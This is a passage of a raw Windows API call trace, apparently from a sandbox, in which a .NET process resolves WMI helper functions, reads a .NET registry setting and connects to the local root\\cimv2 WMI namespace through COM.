lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x1effe040, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject0·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 24 [0062.570] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="BlessIWbemServicesObject") returned 0x7ff90b9f2590 [0062.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x1effe040, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle\x86\x01\x03", lpUsedDefaultChar=0x0) returned 17 [0062.614] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetPropertyHandle") returned 0x7ff90b9f3500 [0062.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x1effe040, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue\x01\x03", lpUsedDefaultChar=0x0) returned 18 [0062.626] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="WritePropertyValue") returned 0x7ff90b9f4270 [0062.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1effe050, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0062.660] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Clone") returned 0x7ff90b9f2640 [0062.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x1effe040, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0062.668] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="VerifyClientKey") returned 0x7ff90b9f4150 [0062.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x1effe040, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0062.678] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetQualifierSet") returned 0x7ff90b9f3680 [0062.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x1effe050, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get\x03", lpUsedDefaultChar=0x0) returned 3 [0062.680] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Get") returned 0x7ff90b9f30c0 [0062.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x1effe050, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put\x03", lpUsedDefaultChar=0x0) returned 3 [0062.705] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Put") returned 0x7ff90b9f3850 [0062.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x1effe050, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete", lpUsedDefaultChar=0x0) returned 6 [0062.738] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Delete") returned 0x7ff90b9f2c30 [0062.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x1effe050, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames0·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 8 [0062.747] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetNames") returned 0x7ff90b9f3430 [0062.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x1effe040, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration\x88\x8a\x01\x03", lpUsedDefaultChar=0x0) returned 16 [0062.777] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="BeginEnumeration") returned 0x7ff90b9f2450 [0062.843] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x1effe050, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next", lpUsedDefaultChar=0x0) returned 4 [0062.843] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Next") returned 0x7ff90b9f3770 [0062.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x1effe050, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration", lpUsedDefaultChar=0x0) returned 14 [0062.869] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="EndEnumeration") returned 0x7ff90b9f2d90 [0062.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x1effe040, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0062.884] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetPropertyQualifierSet") returned 0x7ff90b9f3620 [0062.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x1effe050, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone", lpUsedDefaultChar=0x0) returned 5 [0062.895] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Clone") returned 0x7ff90b9f2640 [0062.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x1effe050, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText\x7f", lpUsedDefaultChar=0x0) returned 13 [0062.895] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetObjectText") returned 0x7ff90b9f34a0 [0062.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x1effe040, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass\x8d\x01\x03", lpUsedDefaultChar=0x0) returned 17 [0062.909] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="SpawnDerivedClass") returned 0x7ff90b9f4040 [0062.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x1effe050, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance\x7f", lpUsedDefaultChar=0x0) returned 13 [0062.918] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="SpawnInstance") returned 0x7ff90b9f40a0 [0062.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x1effe050, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 9 [0062.920] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="CompareTo") returned 0x7ff90b9f27a0 [0062.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x1effe040, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin\x8e\x01\x03", lpUsedDefaultChar=0x0) returned 17 [0062.947] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetPropertyOrigin") returned 0x7ff90b9f35c0 [0063.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x1effe050, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFromù\x7f", lpUsedDefaultChar=0x0) returned 12 [0063.040] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="InheritsFrom") returned 0x7ff90b9f36c0 [0063.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x1effe050, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 9 [0063.042] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetMethod") returned 0x7ff90b9f3300 [0063.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x1effe050, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 9 [0063.053] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="PutMethod") returned 0x7ff90b9f3b70 [0063.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x1effe050, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethodù\x7f", lpUsedDefaultChar=0x0) returned 12 [0063.069] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="DeleteMethod") returned 0x7ff90b9f2c70 [0063.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x1effe040, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration", lpUsedDefaultChar=0x0) returned 22 [0063.071] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="BeginMethodEnumeration") returned 0x7ff90b9f2490 [0063.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x1effe050, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodØ\x11ù\x7f", lpUsedDefaultChar=0x0) returned 10 [0063.084] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="NextMethod") returned 0x7ff90b9f37e0 [0063.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x1effe040, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration", lpUsedDefaultChar=0x0) returned 20 [0063.101] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="EndMethodEnumeration") returned 0x7ff90b9f2dc0 [0063.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x1effe040, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet", lpUsedDefaultChar=0x0) returned 21 [0063.103] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetMethodQualifierSet") returned 0x7ff90b9f33d0 [0063.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x1effe040, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0063.104] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetMethodOrigin") returned 0x7ff90b9f3370 [0063.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x1effe040, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get8\x93\x01\x03", lpUsedDefaultChar=0x0) returned 16 [0063.105] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_Get") returned 0x7ff90b9f3c90 [0063.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x1effe040, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put°\x93\x01\x03", lpUsedDefaultChar=0x0) returned 16 [0063.136] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_Put") returned 0x7ff90b9f3dc0 [0063.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x1effe040, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete\x03", lpUsedDefaultChar=0x0) returned 19 [0063.154] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_Delete") returned 0x7ff90b9f3c20 [0063.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x1effe040, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames", lpUsedDefaultChar=0x0) returned 21 [0063.155] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_GetNames") returned 0x7ff90b9f3d00 [0063.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x1effe040, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration\x7f", lpUsedDefaultChar=0x0) returned 29 [0063.182] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x7ff90b9f3be0 [0063.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x1effe040, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next\x95\x01\x03", lpUsedDefaultChar=0x0) returned 17 [0063.183] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_Next") returned 0x7ff90b9f3d60 [0063.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x1effe040, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration\x11ù\x7f", lpUsedDefaultChar=0x0) returned 27 [0063.199] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="QualifierSet_EndEnumeration") returned 0x7ff90b9f3c60 [0063.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x1effe040, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0063.201] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetCurrentApartmentType") returned 0x7ff90b9f3680 [0063.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x1effe040, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub", lpUsedDefaultChar=0x0) returned 20 [0063.209] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetDemultiplexedStub") returned 0x7ff90b9f3130 [0063.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x1effe040, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi", lpUsedDefaultChar=0x0) returned 21 [0063.240] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="CreateInstanceEnumWmi") returned 0x7ff90b9f2af0 [0063.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x1effe040, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi\x01\x03", lpUsedDefaultChar=0x0) returned 18 [0063.293] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="CreateClassEnumWmi") returned 0x7ff90b9f29b0 [0063.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x1effe050, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmiù\x7f", lpUsedDefaultChar=0x0) returned 12 [0063.294] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="ExecQueryWmi") returned 0x7ff90b9f2f60 [0063.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x1effe040, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi0·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 24 [0063.336] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="ExecNotificationQueryWmi") returned 0x7ff90b9f2e00 [0063.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x1effe050, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi", lpUsedDefaultChar=0x0) returned 14 [0063.347] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="PutInstanceWmi") returned 0x7ff90b9f3a10 [0063.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x1effe050, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi\x11ù\x7f", lpUsedDefaultChar=0x0) returned 11 [0063.374] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="PutClassWmi") returned 0x7ff90b9f38b0 [0063.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x1effe040, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject0·Ø\x11ù\x7f", lpUsedDefaultChar=0x0) returned 24 [0063.375] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="CloneEnumWbemClassObject") returned 0x7ff90b9f2680 [0063.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x1effe040, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi¸\x9a\x01\x03", lpUsedDefaultChar=0x0) returned 16 [0063.402] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="ConnectServerWmi") returned 0x7ff90b9f2800 [0063.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x1effe050, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfoù\x7f", lpUsedDefaultChar=0x0) returned 12 [0063.429] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="GetErrorInfo") returned 0x7ff90b9f31d0 [0063.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x1effe050, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeØ\x11ù\x7f", lpUsedDefaultChar=0x0) returned 10 [0063.450] GetProcAddress (hModule=0x7ff90b9f0000, lpProcName="Initialize") returned 0x7ff90b9f3710 [0063.454] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1effdfa8 | out: phkResult=0x1effdfa8*=0x624) returned 0x0 [0063.454] RegQueryValueExW (in: hKey=0x624, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x1effdfe8, lpData=0x0, lpcbData=0x1effdfe0*=0x0 | out: lpType=0x1effdfe8*=0x0, lpData=0x0, lpcbData=0x1effdfe0*=0x0) returned 0x2 [0063.454] RegCloseKey (hKey=0x624) returned 0x0 [0063.455] CoCreateInstance (in: rclsid=0x7ff90ba09cb8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff90ba09d18*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1effee50 | out: ppv=0x1effee50*=0x1ec1f0e0) returned 0x0 [0063.455] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1ec1f0e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1effefa8 | out: ppNamespace=0x1effefa8*=0x1ec01660) returned 0x0 [0064.271] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff90ba09b38*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effecc8 | out: ppvObject=0x1effecc8*=0x1ec294e8) returned 0x0 [0064.271] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1ec294e8, pProxy=0x1ec01660, pAuthnSvc=0x1effed90, pAuthzSvc=0x1effed10, pServerPrincName=0x1effed38, pAuthnLevel=0x1effed14, pImpLevel=0x1effed20, pAuthInfo=0x1effed48, pCapabilites=0x1effed24 | out: pAuthnSvc=0x1effed90*=0xa, pAuthzSvc=0x1effed10*=0x0, pServerPrincName=0x1effed38, pAuthnLevel=0x1effed14*=0x6, pImpLevel=0x1effed20*=0x2, pAuthInfo=0x1effed48, pCapabilites=0x1effed24*=0x1) returned 0x0 [0064.271] WbemLocator:IUnknown:Release (This=0x1ec294e8) returned 0x1 [0064.271] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff90ba09b28*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effec60 | out: ppvObject=0x1effec60*=0x1ec29530) returned 0x0 [0064.271] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff90ba09b38*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effec70 | out: ppvObject=0x1effec70*=0x1ec294e8) returned 0x0 [0064.271] WbemLocator:IClientSecurity:SetBlanket (This=0x1ec294e8, pProxy=0x1ec01660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0064.271] WbemLocator:IUnknown:Release (This=0x1ec294e8) returned 0x2 [0064.271] WbemLocator:IUnknown:Release (This=0x1ec29530) returned 0x1 [0064.271] CoTaskMemFree (pv=0x1ec2ac00) [0064.271] WbemLocator:IUnknown:AddRef (This=0x1ec01660) returned 0x2 [0064.271] WbemLocator:IUnknown:Release (This=0x1ec1f0e0) returned 0x0 [0064.271] CoGetContextToken (in: pToken=0x1effdee0 | out: pToken=0x1effdee0) returned 0x0 [0064.272] CoGetContextToken (in: pToken=0x1effe360 | out: pToken=0x1effe360) returned 0x0 [0064.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff9122ff268*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1effe2f0 | out: ppvObject=0x1effe2f0*=0x1ec294f8) returned 0x0 [0064.273] WbemLocator:IRpcOptions:Query (in: This=0x1ec294f8, pPrx=0x1ec1f220, dwProperty=2, pdwValue=0x1effe410 | out: pdwValue=0x1effe410) returned 0x80004002 [0064.273] WbemLocator:IUnknown:Release (This=0x1ec294f8) returned 0x2 [0064.273] CoGetContextToken (in: pToken=0x1effea20 | out: pToken=0x1effea20) returned 0x0 [0064.273] CoGetContextToken (in: pToken=0x1effe920 | out: pToken=0x1effe920) returned 0x0 [0064.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x1effea80*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1effe8b0 | out: ppvObject=0x1effe8b0*=0x1ec01660) returned 0x0 [0064.274] WbemLocator:IUnknown:Release (This=0x1ec01660) returned 0x2 [0064.280] SysStringLen (param_1=0x0) returned 0x0 [0064.281] CoUninitialize () Thread: id = 110 os_tid = 0x49c [0064.366] CoGetContextToken (in: pToken=0x1f0feac0 | out: pToken=0x1f0feac0) returned 0x0 [0064.366] CoGetContextToken (in: pToken=0x1f0fea90 | out: pToken=0x1f0fea90) returned 0x0 [0064.366] CoGetMarshalSizeMax (in: pulSize=0x1f0fea70, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1ec1f220, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x1f0fea70) returned 0x0 [0064.368] CoMarshalInterface (pStm=0x1ec2b170, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1ec1f220, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0064.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x1350f08*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1f0fe7a0 | out: ppvObject=0x1f0fe7a0*=0x1ec01660) returned 0x0 [0064.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff91bb604f0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1f0fe6b0 | out: ppvObject=0x1f0fe6b0*=0x1ec01660) returned 0x0 [0064.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec01660, riid=0x7ff91bb604f0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, 